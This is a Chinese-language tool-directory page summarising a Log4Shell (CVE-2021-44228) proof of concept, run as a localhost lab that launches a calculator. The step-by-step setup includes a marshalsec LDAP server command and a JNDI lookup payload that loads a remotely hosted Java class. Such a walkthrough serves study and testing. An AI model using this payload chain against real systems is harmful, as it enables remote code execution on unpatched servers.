Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-44228-Log4Shell-POC — Log4Shell(CVE-2021-44228)的概念验证,演示了通过LDAP和HTTP服务器实现基于JNDI的远程代码执行。 | Kitploit
工具/GitHubGitHub/coldfusionx/cve-2021-44228-log4shell-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubcoldfusionx/cve-2021-44228-log4shell-poc

CVE-2021-44228-Log4Shell-POC

Log4Shell(CVE-2021-44228)的概念验证,演示了通过LDAP和HTTP服务器实现基于JNDI的远程代码执行。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
2134年前尚未审核
分享

CVE-2021-44228-Log4Shell-POC

臭名昭著的 Log4j CVE-2021-44228 完整 POC

前置条件

  • 从此处下载并安装 Java,可以使用 jdk-8u181。
  • 从此处安装 IntelliJ Idea。

POC

  • 步骤 1:克隆此仓库。
  • 步骤 2:将 Exploit.java 文件移动到另一个文件夹。例如,我在主目录下创建了一个 rce 文件夹。/home/coldfusionx/rce

mov

  • 步骤 3:查看 Exploit.java 在这里你可以将远程代码更改为任何内容,在本例中,它会在 Ubuntu 机器上弹出 gnome-calculator。

exp

  • 步骤 4:接下来我们需要使用命令 javac Exploit.java 编译 Exploit.java,编译成功后,我们应该会看到生成了一个新文件 Exploit.class。

com

  • 步骤 5:启动一个 python http 服务器来托管 Exploit.class,使用 python3 -m http.server 8888,或者你也可以使用 php 服务器,命令为 php -S 127.0.0.1:8888。

sv

  • 步骤 6:将项目文件加载到 IntelliJ Idea 中,让 maven 完成文件索引。 完成后,你的项目应该看起来像这样:

poc1

  • 步骤 7:要运行项目,我们需要创建一个配置,点击 Add Configuration

poc2

root@kitploit:~
1. 选择 `Application`

poc3

root@kitploit:~
2. 选择主类

main

root@kitploit:~
3. 选择 JDK 并应用。

poc4

root@kitploit:~
4. 你应该会看到 Log4j Application 已创建,准备运行。

poc5

  • 步骤 8:接下来我们使用 marshalsec 启动 LDAPRefServer:
  • cd marshasec
  • 运行 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit" 来启动 LDAP 服务器,这里的 127.0.0.1:8888 是托管 Exploit.class 的 python 服务器,因此我们指定 /#Exploit

ldap

  • 步骤 9:根据你的需求编辑 log4j.java 中的 JNDI payload,logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}"); 在本例中,我们加载远程类 Exploit,LDAP 引用服务器会将请求重定向到我们托管恶意 Exploit 类的 python 服务器。

  • 步骤 10:运行 Log4j,成功运行后,你应该会看到 gnome 计算器弹出。

rce

查看我对 Log4Shell CVE-2021-44228 的详细分析

参考

  • https://nvd.nist.gov/vuln/detail/CVE-2021-44228
下载工具